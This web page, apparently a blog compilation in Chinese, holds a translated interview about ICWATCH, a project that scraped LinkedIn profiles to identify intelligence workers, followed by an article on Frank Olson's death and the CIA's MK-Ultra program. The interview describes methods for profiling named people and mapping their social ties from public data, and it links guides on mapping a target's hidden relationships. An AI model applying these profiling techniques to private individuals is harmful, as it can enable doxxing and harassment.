根据我的经验，这些人经常是目标人认识的人，或者是他们在同一家公司中工作，或者他们从事的是非常密切相关的工作，因此几乎可以用作关联性的代名词，于是它非常有用。

然后，您可以看到人们所在的位置。因此，也许目标人正在为特定公司在特定位置的特定项目上工作，您可以弄清楚这一点。

您还会发现可能没有明确提及该项目但匹配相似模式的人，并且他们可能涉及同一件事。

也可以将其中一些与其他数据源进行匹配，到目前为止，我们一直在手动进行此操作，但最终我们希望自动化它。

从收集和分析数据过程中最大的惊喜时刻是什么？

我发现的最有趣的事情之一是当我第一次查看数据时，我选择某个人的个人资料是因为它上面有很多代码字，而且看起来很有趣。我开始写下所有代码字，试图弄清楚他的工作流程以及他的工作内容。

然后，我找到了他的最新工作清单，他谈到了他如何呼吁对采集管理流程进行外部审查。在情报界工作了22年之后，他离开了。并开始担任二手车推销员。

我发现这很有趣，但那时我还没有意识到，我可以用它来找到离开情报界的人，他们可能对所发生的事感到不安，会有原因迫使他们离

开。对此有所了解会很有趣。

我还曾在其他许多场合中浏览过人们的个人资料并将代码字拼凑在一起，然后我会意识到："哦！这就是他们正在做的事。"

这是非常神秘的，首先要遍历数据，但是在特定点之后有时候情况会忽然变得很有意义。

其中一个是向我发送许多法律威胁的人。我看了一下他的个人资料，这是我发布 ICWATCH 之后；有一篇文章是关于名为 Skynet 的程序的，该程序正在使用巴基斯坦电信的数据来监视人们。

我仔细看了这个人的个人资料，有很多关于电话学的项目，然后我注意到他的语言，他知道与巴基斯坦有关的所有语言。

然后他提到了这个东西，称为 SEDB SIGINT Emitter Database，它是该程序中使用的数据库之一。

所以我在想："这是一个可能参与了天网或类似项目的人，或者认识了一些参与天网的人"，很接近这一点，这令我感到惊讶。

还可以查看更广泛的趋势。可以弄清楚各种项目的开始日期，以及人们何时开始使用它们、何时被其他计划成功使用，因此发生了一些令人惊讶的事。

同样，我们可以找出情报界的趋势。我不知道是否有一种方法可以研究人们何时加入情报部门、在情报界中有多少人在工作、以及他们在做什么，仅仅是因为它是如此秘密。

但是当我看到这些职位，或者那些提到 SIGINT 或信号情报的人，我可以算出在任何一年中提到它的人数。

在过去的十年中，这个数字不断上升，在2013年有所下降，在2014年下降更多，然后在2015年再次上升，直到更高，因此可能是斯诺登效应。然后是ISIS效应，或者只是反弹回来。第一次看到这些趋势很有趣。

ICWATCH 中的许多数据都与美国有关，这背后的原因是什么？

ICWATCH 中的许多数据都集中在美国。我认为的确有一些原因。

其中之一可能只是我们的搜索关键字，我们都是用英文搜的，并且专

注于美国的大规模监视计划，因此将过滤到美国。

第二个原因是，美国的情报承包规模巨大，可能比任何其他国家都要大。

如果只有几个主要承包商，或者只有一个招聘的情报机构，他们不需要在线发布简历，只需将其发送到需要的地方，这很容易。但是当有数百或数千或更多应聘目标时，他们就需要在线上发布此信息才能找到工作，他们没有任何方法可以安全地将其发送给许多不同的机构。

因此，我认为人们更 *需要* 在美国而不是其他国家在线发布此信息。这些可能是主要原因，但是数据中肯定提到了其他国家的人。
Screenshot taken from the map tool on the Transparency Toolkit website. Taken on 27 November 2015

整理数据和呈现数据的方式中有一个非常重要的因素。您从 *LinkedIn* 上抓取了信息，而 *LinkedIn* 的重点是个人。 是什么驱使您做出此选择以关注个人而不是机构？

最初，我开始关注个人是因为个人是最简单的切入点，有很多个人，而且他们都在网上发布有关其工作的信息，所以这是最简单的开始方式。

我有一个关系网图，可以将公司与项目联系起来。这也很有趣，但是我认为已经有很多工作在寻找情报承包商和项目本身，但是对相关人员的关注却很少。

我认为研究所涉及的人员对于理解机构的运作方式以及人们为什么做这项工作极为重要，我花了很长时间才弄清楚为什么人们在从事这些情报计划。

人们为什么要参与大规模监视项目？为什么会成为酷刑和侵犯人权的帮凶？甚至做出了更糟糕的事？

我不认为人们天生就是邪恶的，也不是大多数时候都想要故意伤害他人。所以我发现这里有些困惑。

结果，我开始着眼于个人，试图了解他们为什么参与情报界，人们如何看待自己的工作，以及他们有什么道德问题（如果有的话）以及一般情况。

我认为，当我们能够了解一个人如何看待世界及其工作时，就可以使

用它来真正停止有问题的项目。我们可以使用它为可能只对技术挑战感兴趣的人提供替代方案，并实际上与相关人员开始公开对话。

您是否认为所有情报工作和所有监视工作本身都是不好的？

我认为许多大规模监视工作都是恶劣的或有问题的，我认为所有这些工作都需要更多的监督，即使是正义的目标，也需要将其公开需要透明度。

公开并不一定要说："这个人正在做一些不好的事。" 而是说："这个人正在从事需要问责和需要监督的工作，因为如果滥用它会很糟糕。"

对于那些认为透明度过高实际上并不能建立问责制而是在帮助潜在敌人的想法，您怎么看？（这是一个关键的问题，是当权者诋毁透明度革命的主要说辞，也是亲政府人士自我安慰的借口）

许多人确实说出于所谓的国家安全原因不能提供此信息，或者任何提供此信息的人正在帮助敌人云云。我不这么认为。

我认为，仅凭我们从斯诺登的启示中发现的内容，您就可以知道了解这些监视项目能受益匪浅。

他们一直在秘密进行如此惊人的大规模监视，针对普通公民，我认为这比向敌人泄露的任何潜在风险都要严重得多。

这是如此秘密，以至于即使是那些应该监督这些程序的人也没有关于其操作的完整细节，这也是一个主要问题。

因此，当人们甚至不能行使民主权利正确地通过官方渠道进行问责时，我们需要自己处理问题，并找到其他使数据可用的方式，以便人们可以了解出了什么问题或问题在哪。

在 *ICWATCH* 上发布数据源后，是否存在数据源消失的风险？

肯定存在数据源消失的风险。所以我会等待一段时间。有时我会在发布之前收集大量数据。因此对于 LinkedIn，我等待了足够长时间才发布它。所以我有足够的时间来收集它，以防它消失。

也就是说，个人资料并不是一夜之间消失的，其中有些已经消失了，但是还剩下很多。即使发布 ICWATCH 一个月后，它仍然是非常有用的数据源。

就算真的一夜之间消失了，仍有许多其他开放数据源。就像安全漏洞，您总能找到并利用更多的漏洞。

人们发布的其他简历、工作清单或社交媒体帖子、政府合同，所有这些信息都可以在线公开获得。

随着时间的流逝，收集开放数据可能会变得更加困难，但是我们也会对此做得更好，并且可以找到其他资源。当发布此数据的人员和组织如此之多时，没有一种集中的方法可以快速清除所有数据。

您现在由 *WikiLeaks* 托管。 *ICWATCH* 和 *WikiLeaks* 之间有什么联系吗？

在发布 ICWATCH 之后不久它就被迫下线了。部分原因是由于我们的系统设置不正确，但与DDOS攻击有很大关系。

很难判断访问该网站的人是否太多，或者这是否是实际攻击。然后，我们开始受到法律威胁。

于是我们与 WikiLeaks 进行了交谈，并在他们的服务器上进行了设置。这样一来定位目标并删除某人的数据要困难得多，因为没有单点故障。

同样，数据也位于 GitHub 中，因此人们可以克隆数据并自己保存。*Screenshot from the GitHub repository for ICWATCH taken on 27 November 2015.*

您担心与 *WikiLeaks* 建立联系的政治因素吗？

我没有担心任何与 WikiLeaks 建立联系的结果。我完全不会介意。我认为这是让人们不要以我们为目标的好方法，因为当人们以我们为目标时，我们可以做的事很少。因此我认为合作最终这是一件好事。

您是否认为会有一些数据的插入误导您和其他人？

插入数据绝对比删除数据具有更高的风险，因为以集中方式更容易进行。肯定有可能插入数据。

我们预先做了很多抓取操作，因此有可能检测到数据插入。尽管某些新数据可能只是新程序或对现有程序的更改，但是很难确定。随着时间的流逝，我们也应该尝试发现这一点。

这肯定是有问题的。但是，通过比较许多不同的来源，而不仅是使用 LinkedIn，还要检查其他简历网站和工作清单，并将工作与人员相匹配。

插入数据并使所有这些数据匹配起来需要很大的工作量。我想情报界可能有足够的资源来做到这一点，但是这样做肯定会花费时间和精力。

您收集的数据集肯定包含许多重复项、缺少数据和大量杂音。您如何进行验证？

数据现在肯定是不完整和混乱的。有一些噪音，随着时间的流逝我们一直在过滤噪音。它并不那么糟糕，因为我们已经开始使用很多过滤条件。

例如，我们在末尾列出了所有已知代码字和信号情报的列表，这样即使代码字不完全正确，它也至少可以使人们获得信号情报，因为它是搜索结果中的常用字。因此，这有助于减少噪音。

这绝对是不完整的。有些代码字可能我们没有以正确的方式使用，还有其他搜索词仍在运行，因此我们也在添加搜索词，同时也能消除噪音。

至于验证个人资料，很难大规模地进行。当您查看个人资料时，会进行很多验证，然后您会认为："我是否可以在其他地方找到它，并尝试弄清楚原因呢"。因此，很多只是手动交叉引用数据。最终，它会自动将其与其他数据服务进行匹配以进行验证。

您如何处理个人数据与公开数据？

我们使用的所有数据都是公开数据。有些人给我们发送了电子邮件，说"在线发布此个人信息会威胁我的家人"，但实际上，大多数情况下，我们使用的都是与他们的职业背景有关的人的数据。

这些是简历，是关于人们的职业以及他们所做的工作的。因此，其中包括名字，也有图片，但是这些都是他们自己已经在网上公开发布的内容。

我们手动发现了一些其他的个人数据，这些数据是已经在目标人的 Facebook 个人资料、照片和其他信息渠道上被公开了的。

我会避免找到有关人们家庭成员的任何可识别性信息，我会坚持那些

已经在线发布信息的人本身。

我们对此有一定的界限，但所有这一切都是基于公开可用的信息。而且，您可以公开获得更多信息。如果人们在网上足够自由地发布有关个人的信息，您就可以从公开角度获得大多数个人数据。

在您发布的数据中情报社区的人员和其他领域的个人之间的区别是什么？

当我发布有关情报社区的信息时，是为了试图找到涉嫌侵犯隐私权的人、或者甚至做了更严重的事的人，例如酷刑或杀人，这与针对其他个人属性进行剖析的方式截然不同。

有些个人属性不一定是问题，不一定是归咎理由，但是，当有人说他们参与了道德上非常有问题的非法活动、或者可能基于他们所提及的内容而推断已经参与其中时，我认为这是一种截然不同的分析。

在情报界的人使用在些技术就更是如此。

考虑到您从此过程中学到的知识，您对活动家有哪些提示？

如果人们不想让自己的数据被抓取到，那就需要仔细想想自己在线透露了什么、这些信息意味着什么，以及在何种状况下对谁有利。

如果任何人使用社交媒体发布有关自己的工作的信息，则始终存在被映射出更深沉私密信息的风险。

基于与之交谈的人、与之成为朋友的人、或仅仅是在 Twitter 或 Facebook 上关注的人，这个关系图肯定有一定的潜力。

- 不要错过《如何挖掘目标人社交关系网？- 连锅端利器》
- 《如何挖掘目标人隐藏的人际关系？》

作为防御。您可以通过尝试与很多您实际上不认识的人交朋友来引入噪音，这使得映射您真正认识的人、与之互动的人、以及正在从事的工作，变得更加复杂。比如那个关注了几千人的家伙 ……

您可以避免发布任何您真正关心的事。隐藏一切可能在法律上有问题或可能对您不利的个人物品。永远不要在网上发布它。

必须说将这些确切的技术用于激进主义活动家的风险较低，因为情报界的人们经常在专业背景下开展这项工作，并试图通过发布自己的技

能来招募人才，而大多数活动家并不需要这样做。

很少有活动家会在社交媒体上发布尚未公开的工作细节。网络映射以及将其与截取有关人员工作的关键信息相结合的追踪功能绝对具有更大的潜力。或使用它来决定拦截通信的对象。

所以您绝对应该对发布的内容保持谨慎。而且，如果您真的很担心，请尝试引入更多噪音，以使其更难以准确映射。*Screenshot from the prototype network graph tool on the Transparency Toolkit website. Taken on 27 November 2015.*

人们对 *ICWATCH* 有什么反应？

一开始的反应实际上非常好。许多人对此感兴趣，然后对这些方法和技巧着迷，并且我们甚至一开始就能够使用这些方法来获得有趣的数据。

大概在我们启动几天后，我就开始受到情报界人士的关注。我不完全确定他们的交流方式。我的猜测是内部邮件列表，因为我在社交媒体上没有看到太多关于这件事的帖子，因此很可能是在内部交流的。

人们以许多不同的方式做出反应，基本都是完全独特的反应。其中有一个人很沮丧，在媒体上试图与我们抗衡，但没人真正关注他。

我开始收到要求我删除其数据的人的电子邮件，说他们担心自己会被列入ISIS的黑名单。

还有一些向我发送死亡威胁的人，他们说将追踪我并杀死我。我也遇到了一些向我发送法律威胁的人。

其中一个人在自己的 LinkedIn 个人资料上和他的出的书上都有这张照片，但他希望我们在48小时内将其删除，因为该照片“受版权保护”。他还告知我们，他已经向联邦调查局投诉，正试图对我们发动国内恐怖主义指控。

其中还有人骂我“帮助敌人”，说我很愚蠢。我还收到了一些人的电子邮件，说他们不知道为什么将他们包含在数据库中，因为他们在一家私营公司工作，根本不参与监视或侵犯人权行为。

然后，我查看了他们的个人资料，发现他们几年前曾参与某种类型的情报机构，现在只是以私人情报承包商的身份工作。

似乎有一种有趣的想法，即 如果您离开了政府情报部门，而去为一家私人承包商工作，那么即使您直接帮助监视计划，您也可以不再负责。真太有趣了。

您现在居住在德国，但是很多数据来自美国。您从美国收到的反应与欧洲相比有什么区别？

大部分媒体报道都在欧洲，但更多是由于我们在这里启动了这个项目。我已经和美国的一些人谈过，而且反应也很好。

有一些离奇的担忧。我要说的是，与在欧洲相比，在美国工作的人们所提出的离奇担忧更多。

其中许多担忧都没有多大意义，而且他们似乎认为我们发布了人们的住所或类似的信息，这是不准确的。我还听说过来自更多人的离奇担忧。但据我所知，总体上在美国的反馈也很积极。

对于该项目你有什么商业模式吗？

我们真的没有任何商业模式。一切都是非营利的。目前，我们只是根据赠款获得资金。最终，我们可能会尝试与人权组织或记者联合申请资助，或者尝试自己撰写调查报告并将其推销给新闻机构。

我考虑过与新闻机构合作，并为他们想要使用的数据集制作工具。但是，许多有能力支付诸如此类费用的组织自己已经有程序员了，而且他们都不愿意从事真正前卫且确实有用的事。

他们中的许多人都在从事真正平凡的政府透明度工作，这些工作并不是特别有用。

他们只是在建立某种开放的数据门户，您可能会看到“好吧，这些数据很有趣”，但是比起我们收集的数据，他们这些数据更难让你看到有趣的东西。

职媒体不愿意走那么远，一旦他们要受到法律投诉，他们会立即停止。

因此，即使我们可以将其用作盈利模型，我也确实不愿意与许多主流媒体组织合作。从我的初步探索来看，那很可能不会顺利。（Wikileaks 一开始与主流媒体合作发布信息遇到严重阻碍，后很快放弃，其中卫报是最大的灾难，其内幕见这里《从做新闻到”作”新闻：维稳机构如何成功废掉说真话的媒体？》）

Transparency Toolkit 目前的发展方向是什么？

我们想扩展到其他主题，例如其他情报机构、其他问题、或其他国家和地区。

以及建立用于分析数据的其他工具，例如 使网络图工具挂接到我们的搜索结果中，以便人们可以仅针对特定目标来映射搜索结果。

您的新作品是否也针对这种特定类型的公开数据？

是的，我们所有的工作仍集中在开放数据上。这是我们的主要重点。我们使用其他类型的公共数据来提出搜索词。

我们大量使用了 Snowden 文档来提供 ICWATCH 的搜索词。如果没有斯诺登文件，这是不可能做到的。我们之前已经知道这些代码字，但是，在不了解一些新代码字的情况下获得背景信息将要困难得多。所以举报人是关键。

我们同时使用了泄露的文档以及公开发布的文档。我们可能会继续这样做，并找到合并这些信息的方法，但是我们的主要重点是开放数据项目以及用其他方法可能找不到的开放数据可以收集的东西。

有了这些出版物，您已经帮助许多其他团体，非营利组织和*NGO*能够访问他们无法访问的信息。您认为这种具有更好接口的大规模公共数据的发布有什么帮助？

这取决于数据是什么。我想到的两个一般用途是：首先，一种更具新闻性的方法，撰写文章并将有趣的信息拼凑在一起。

例如，查找新的代码字并显示它们的功能，然后以一种易于理解的方式公开谈论它。还可以找到参与事物的人，并与他们进行实际交谈，试图了解他们为何参与其中。

第二个是法律途径。可以找到参与大规模监视计划和酷刑计划的人员，并利用其个人资料中的可用信息来针对他们或所涉及的组织提起法律诉讼。我认为这也可能是一种特别有效的方法。

然后还有其他一些针对特定于主题的可能性，具体取决于正在发生的事。

我们知道，斯诺登文件发布后并没有改变任何事，人们对此已经变得不再敏感 ……

我认为在关注个人而非机构方面特别有力的一件事是，当斯诺登文件出炉时，人们一开始感到很震惊。但是最终，随着时间的流逝，人们开始变得自满。会觉得“我对此无能为力。这将由游说国会或在法律案件中或制作隐私工具的人员决定。不关我的事。”许多人似乎就是这么想的。

当我们将其降低到个人水平时，我们可以说：“这些人都参与了这些事。有相同的朋友、或者去了同一所学校、或者您同一座城市长大。”

- 共同的求学经历也许会揭示很多东西，比如这两个开源情报挖掘报告中所使用的方法，见《追踪谷歌的政治旋转门：开源调查》
- 以及 《深层政治：Facebook金字塔的人形肌理—— 仅仅依靠开源数据，扒开利维坦的内裤》

当我们可以提供方法让人们从个人角度识别这些较大的问题并了解他们如何与之产生联系时，这就把它从一个大问题带到了一个可以影响他们个人的微观层面上，他们可以在更易于管理的环境中考虑它。

我认为，它具有帮助人们识别数据并将其与不同政府和举报人发布的信息进行对比的功能。

当人们查看滥用权力的历史时，在频谱的一面，您会发现那些试图查看指挥链的人，而另一面是您所在的位置，做为帮凶的个人的位置，他们正在遵循规则并正在创建一个邪恶的系统。您如何看待这件事？

许多人认为，只有决策者、当权者才有责任。我认为情况并非如此，因为机构是由人组成的，而且不是决策者的人也不是无意识的无人机。

他们拥有改变事物、质疑、停止做自己正在做的坏事的强大力量，我认为他们应该利用这种力量。

我不认为个人甚至决策者都不应被追责，而应归咎于他们。但是我认为，即使只是帮助维系了一个阴暗的残缺的且恐怖的体系永久存在，人们也应该对他们在体系中的角色负责（非常喜欢这句话）。

尤其是当监视之类的东西影响到全世界许多人时。我认为应该对每个人都承担一定程度的责任，但是我不认为任何人都应该被妖魔化并承担全部责任。〇

- *Watching the Watchers* looks at how M.C. uses open data to understand the intelligence sector.
- *The Making of IC Watch* focuses on the processes and methodology behind making ICWATCH.
- M.C. proposes three ways of understanding open data in *Accidental Leaking and Other Types of Open Data*.
- The fourth video looks at tips and techniques for activists to be safer online in*Activists on Online Activity*.
- Lastly a video of M.C. *Using the tool ICWATCH*.

原文

LR 真的有脑控这种事吗：一项尘封的恐怖实验和暗杀的真相 - iyouport

长读

【2020年7月14日存档】为了揭开真相，他们花了数十年的时间 ...

1953年11月一个寒冷的凌晨，曼哈顿第七大道的某扇窗子忽然碎了，几秒之后，一个人掉落在人行道上。Statler 酒店的门房 Jimmy 一时惊呆，之后他转身跑进酒店大堂，大喊道：“有人跳楼了！有人跳楼了！”

夜班经理在黑暗之中环视这座巨大的酒店。不多时，他发现一个房间的窗户洞开，窗帘在风中飞舞。这间房间就是1018A，入住登记卡上有两个名字—— Frank Olson 和 Robert Lashbrook 。

警察持枪闯入了1018A房间，但房内空无一人、窗户大开。

他们将浴室门推开，发现 Lashbrook 坐在马桶上，双手抱头。他说，他之前一直在睡觉，然后 “被某个声响吵醒了”。

一位警员问道：“从窗口跳下去的那个男人叫什么？”

他回答：“Olson,。Frank Olson。”

酒店经理之后回忆道：“我从业多年，从未遇过这种事—— 有人半夜醒来，只穿着内衣在黑暗的房间里穿行，避开两张床，冲向百叶和窗帘紧闭的窗户。”*The Statler Hotel in Manhattan. Photograph: Bettmann Archive*

经理离开房间，回到大堂，出于直觉询问接线员，1018A房间最近是否有呼出电话。

她给出了肯定的回答，并透露还曾偷听到谈话的内容 —— 这种做法在那个时代十分常见，因为酒店的电话都是经由总机转接过去的。

她说，房间里有人曾拨打了一个去长岛的电话，该号码在电话录上显示归属于著名医生 Harold Abramson。他还有并不那么为人所知的身份—— LSD 专家、及中情局医学合作者之一（LSD 就是 D-麦角酸二乙胺，一种强烈的半人工致幻剂，能造成使用者4～12小时的感官、记忆和自我意识的变化，可作化学武器使用：来自维基百科）。

打电话的人说："他走了。" Abramson 回复："好吧，那太糟糕了。"

对于亲临现场的第一批警员来说，他们见过了太多的人间悲剧，这不过是其中的一起而已 —— 沮丧不安的心智失常的人结束了自己的生命。

但是，他们不知道的是，这个死者和另一个生者都曾是帮助指导美国政府最高机密项目的科学家。

第二天一大早，与 Olson 比较亲近的一位同事前往马里兰州，将这一噩耗告知死者家属。

他跟 Alice Olson 及三个孩子说，Frank 从酒店窗户 "坠落或跳楼" 身亡。他们自然震惊无比，但除了接受这一事实外也别无选择。

家属将不被允许看望遗体，妻子 Alice 对此也并未提出异议。尸体被放入一个密闭的棺材里埋葬。至此，这桩案子似乎已经划上了句号。

然而，数十年之后，在令人震惊的披露之下，**Olson**之死似乎又有了截然不同的说法。

首先，CIA承认，Olson 死前不久，其同事曾邀他参加聚会，并在他毫不知情的情况下让其服下了 LSD。

后又证实，Olson 曾谈及离开CIA，并告诉过妻子他犯下了 "一个可怕的错误"。

对立的证言也逐渐浮现—— Olson 对工作深感不安并意图辞职，导致其同事认为他是个风险因素。所有这一切，将他引至1018A房间。

二战时期，Frank Olson 作为第一批科学家，被派往位于马里兰州弗雷德里克市德特里克堡的美国秘密生化实验室工作。

在那儿，Olson 开始与一些同事并肩工作，正是这些人伴随了他的整个秘密职场生涯。

其中一位就是 Harold Abramson，其他人还包括被带到美国参与秘密任务的前纳粹科学家们。

有一段时间，他们曾研究气溶剂对的技术—— 就是将细菌或有毒物质以雾状投放到敌方，并让自己对此种攻击做出防护。

之后，Olson 见到了曾经在欧洲试验 “吐真剂” 的美国情报官员。

- 《如何强迫一个人说真话？》

Olson 于1944年退伍，但仍以平民身份留在德特里克堡，并继续进行空气生物学研究。

他曾数次造访与几乎世隔绝的犹他州杜格威试验场，这个地点曾用来测试 “活性生物病原体、军需品、和气雾剂产品”。

他与别人合著了一份长达220页的学术研究论文，名为 “实验性空气传播感染”，描述了 “强感染性病原体空气团” 实验。*Dugway Proving Ground, Salt Lake City, Utah*

1949年他前往加勒比海地区参与 “治理行动”，该行动测试动物对有毒气团的脆弱度。

第二年，他参与了 “海上喷雾行动”，在旧金山附近释放炭疽样的灰尘。

他还定期前往泰瑞港口—— 这是棕榈岛上的一个秘密军事基地，位于长岛东端，用于测试有毒物质。此处位置偏远，可避免有毒物质进入美国大陆。

就在那个时候，高级军队和 CIA 官员开始深深忌惮苏联在微生物武器军备上的进展。

这种担忧导致了 “特别行动部门” 的成立。关于其工作内容的传闻在各机构和实验室流传。

Olson 是在晚上和同事 John Schwab 玩时了解到该机构的。但他所不知道的是，Schwab 就曾经是该机构的首任长官。他邀请 Olson 加入，并立即得到了肯定答复。

不到一年，Olson 就作为 Schwab 的继任者成为了该机构的负责人。

他的工作描述模糊不详，却又具诱惑：收集 “部门需要的” 数据，“尤其是医药生物方面的”，协调 “与其他相似或相关机构” 的工作—— 这是指 CIA。

研究显示，Olson 的专长是 “生物细菌在空气中的传播”。

> “Olson 博士发明了一系列便携手持的致命气溶胶，被仿造成剃须膏和防虫剂。它们含有葡萄球菌肠毒素，这是一种有严重危害的食物毒素；更致命的是，委内瑞拉马脑脊髓炎病毒；最致命的是炭疽 …… 他正在研制的其他生物武器还包括瞬间释放致命毒气的打火机、接触皮肤就能致命的口红、可以让哮喘患者诱发肺炎的小型喷雾剂 ……”

Frank Olson in 1952. Photograph: AP

1953年初，Olson 因病辞去了特别行动部门负责人的职务（那时他已经加入了CIA），但他仍待在该部门。

依据官方说法，特别行动部门隶属于军队，但实际上是隐藏在军事基地里的一个 CIA 研究点。

在这里，Olson 认识了 Sidney Gottlieb 和他的副手 Robert Lashbrook。这两位科学家将要主导一个代号为 MK-Ultra 的CIA绝密计划。

Gottlieb 是CIA的毒药制作负责人。20多年来，他见证了成百上千人在医学实验和 “特殊审问” 项目中备受折磨，许多人因此精神失常。

这个过程中，**CIA**有种执念**——** 一定存在能控制心智的方法，一旦找到就能控制全世界。

MK-Ultra 就是这样一个尝试控制心智的绝密项目。

其常规做法是将 LSD 用于 “可消耗” 的实验对象身上。

Gottlieb 想要弄清楚人体能承受的LSD最大剂量。他想知道是否存在一个临界点，在大剂量之下，人类心智和意识会被冲洗干净，留下一片空白，可以将新的意识冲动甚至全新的人格植入其中？

在德特里克堡的实验室里，Olson 主持的实验包括给动物放毒气或下毒。这让他心神不安。他的儿子 Eric 后来回忆说：“他每天早上去工

作，然后看到成排的死猴子。这让他很痛苦。他不是适合干这个的人。”

Olson 也见证过人类在实验中被折磨。尽管他自己不是施害者，但他在多个国家里都观察并监控了此种折磨过程。

一项研究称，“在德国的CIA安全屋里，Olson 频繁见证了那些惨无人道的可怕审讯。因疑似间谍或泄露机密而被拘押的人类 ‘实验品’，在各种实验中被审讯致死。手段包括药物、催眠、酷刑 …… 实验目的是掌握洗脑技术和抹除记忆。”*Sidney Gottlieb*，美国化学家和间谍大师，以参与中央情报局*1950*年代和*60*年代的暗杀企图和精神控制计划（*Project MKUltra*）而闻名

1953年感恩节前夕，Olson 接到了邀请，于11月18日星期三前往马里兰州西部的深溪湖畔小屋参加聚会。

这次聚会是 Gottlieb 每几个月就组织一次的聚会。准确说这是两大组织的碰头：执行 MK-Ultra 的、技术服务部门的4位CIA科学家，和化学部队特别行动部门的5名军方科学家。

事实上这群人因工作联系紧密已联结成一个小团体。

在探寻重大机密面前，他们齐心协力。这种聚会对他们来说意义重大，因为可以在一个放松的环境中讨论项目、交流想法。

这次聚会的第一天相安无事。星期四晚上，所有人一起用了晚餐，饭后喝了酒。

Lashbrook 作为 Gottlieb 的助手，拿出一瓶法国君度，为所有人倒酒。包括 Olson 在内的几个人都喝得十分尽兴。

20分钟后，Gottlieb 问 “是否有人感到异样”。有几个人说确实如此。随后他告诉：他们酒里被偷偷掺入了**LSD**。

即便在扭曲的状态下，这些人也都很明白自己喝进去的是什么。Olson 的变化尤其强烈。

据 Olson 的儿子说，他变得 “暴怒不已，很难将事实和虚幻区分开来。”

不过很快，他们所有人就被带到了一个虚妄世界。

Gottlieb 后来汇报说，他们 “吵吵嚷嚷、大声笑闹，无法继续正常的聚会，也难以进行理智的对话。”

第二天早上，他们的状况才稍好一点。聚会不欢而散。Olson 返回弗雷德里克。那时候他已经变得不一样了。

第二天清晨，也就是11月23日，Olson 很早就来到了德特里克堡。他的上司 Vincent Ruwet 很快也到了，同样状态不佳。

在不知情的情况下 “被服用” LSD已经超过4天了。Ruwet 事后称这是 “亲身体验过或想象中最恐怖的经历”。

Olson 开始大量倾吐怀疑和恐惧。Ruwet 后来回忆说：“他似乎焦虑不安，问我是该解雇他，还是他自己辞职。”

他努力安抚 Olson，向他保证他的工作很出色，且公认如此。慢慢地，Olson 被说服了，认为辞职过于极端。

这时，MK-Ultra 项目已进行了7个月。这是政府的最高机密之一，就像 Olson 加入特别行动部门时被告知的那样 —— 安保措施 “紧之又紧”。

差不多只有20几个人知道该部门的真正目的。参与深溪湖聚会的9个人中，有些被偷偷下了LSD。现在其中一人似乎已经失控。

对于相信 MK-Ultra 项目的成败可能决定美国和全人类命运的人来说，这并非小事。

Olson 在德特里克堡待了十年，对特殊行动部门的机密知道得八九不离十。他多次前往德国，并从海德伯格和柏林带回了一些照片，而美军在这些地方仍继续运行秘密审讯点。

1951年8月16日，在法国的圣埃斯普里特桥村庄，全村200多名居民变得歇斯底里、神志失常，并有数人死亡。

Olson 和其他几位特别行动部门的科学家当场见证了这一切。

原因后被定为麦角菌中毒，而麦角菌是LSD的成分来源。

也许最具威胁性的是，如果美国军方在朝鲜战争中确实使用了生化武器（有间接但无确凿证据），那 Olson 肯定知情。他可能会透露自己所见或所做的任何事的前景令那些秘密间谍恐惧。

Olson 的朋友和同事 Norman Cournoyer 后来提及："他极为坦诚，敢于吐露自己的想法。他毫不在意，任何时候都敢于直言 …… 我敢肯定，这就是让他们畏惧的地方。"

Olson 的疑虑逐渐加深。

1953年春天，他造访了位于英国威尔特郡波登当的微生物研究中心，该中心为最高机密，政府的科学家在此研究沙林毒气和其他神经毒气的影响。

5月6日，一位20岁的士兵主动想要作为沙林毒气的实验对象。一开始他口吐白沫，之后痉挛不已，于1小时后死亡。

之后，Olson 和帮助主导该项研究的精神病学家 William Sargant 谈起他的不适之处。

一月后，Olson 返回德国。根据后来的旅行记录推测，在该段行程中，他还"到访了德国斯图加特附近的一个CIA安全屋，在那里他目睹了人们痛苦地死于他制造的武器"。

在斯堪的纳维亚地区和巴黎停留后，他返回英国并再次拜访 Sargant。

在这次会面后，Sargant 立即撰写了报告，提到 Olson "对德国CIA安全屋的所见所闻深感不安"，并"显露出了公开这些景象的征兆"。

他将这份报告呈给他的上司，并知晓这份报告会由他们上报至CIA。Sargant 后来说："有些共同利益是需要保护的。"

服用 LSD 的5天后，Olson 仍然有些不在状态。他在特别行动部门的上司 Ruwet 打电话给 Gottlieb 报告此事。

Gottlieb 请他安排和 Olson 的谈话。

Gottlieb 后来证实，谈话中 Olson 似乎"在某些思维方面深感困惑"。

他立马做出了决定—— Olson 必须被送往纽约，由和 MK-Ultra 项目联系最紧密的医生 Harold Abramson 博士接手。

Alice Olson 被告知，选择 Abramson 的原因是她丈夫"不得不去看医生，而这位医生同样经过了安全调查，因而可以畅所欲言"。

这在一定程度上是真实的。但是，Abramson 并不是精神病学家，而是 MK-Ultra 项目的同谋。

Gottlieb 知道 Abramson 首先对 MK-Ultra 很忠诚，或按他的话来说，是对美国安全的忠诚。这让他成为了探究 Olson 内心想法的理想人选。

Olson 告诉 Abramson，自从深溪湖的那次聚会之后，他就无法再好好工作了，不能集中精力，经常忘了如何拼写，甚至夜不能寐。

Abramson 试图安抚 Olson，这让 Olson 后来似乎放松了下来。*The US CIA and military is filled with a history of bad decisions, deceit, and in some cases what I would classify as pure evil. One such misguided and unethical program was an appendage of Project MKULTRA under the name of Operation Midnight Climax.*

距离 Olson 被下毒 LSD 已经过去一周了。他计划回家过感恩节。

见过 Abramson 后的第二天，他在 Lashbrook 和 Ruwet 的陪同下登上了去华盛顿的飞机。

一位 MK-Ultra 项目的同事前去接机。Ruwet 和 Olson 坐上了开往弗雷德里克的汽车。

他们刚启程，Olson 就改变主要要求停车，并对 Ruwet 说他感觉“没脸见妻子和家人”，因为他自己“一团糟”。

Ruwet 问：“你想让我怎么做？”

“让我走吧。我自己走。”

“不行。”

“那么，就把我交给警察吧。反正他们也正在找我。”

Ruwet 建议 Olson 返回纽约，在 Abramson 那里继续另一阶段的治疗。Olson 同意了，于是他们乘坐出租车前往长岛，Abramson 周末都住在那里。

Abramson 和 Olson 待了一小时，又和 Lashbrook 待了20分钟。

第二天早上，Abramson、Lashbrook 和 Olson 驱车返回曼哈顿。

Abramson 在58号大街的办公室里给 Olson 做治疗时说服他主动前往马里兰州疗养所修养。Olson 和 Lashbrook 离开后，去往斯塔特勒酒店登记入住，房间号是1018A。

在酒店用晚餐时，Olson 告诉 Lashbrook 他非常期待去疗养院。他还仔细思考了将要读的书。

Lashbrook 后来说他 “几乎恢复到了实验前我认识的那个人”。

两人返回房间。Olson 在水池里洗了袜子，看了会电视就睡觉了。

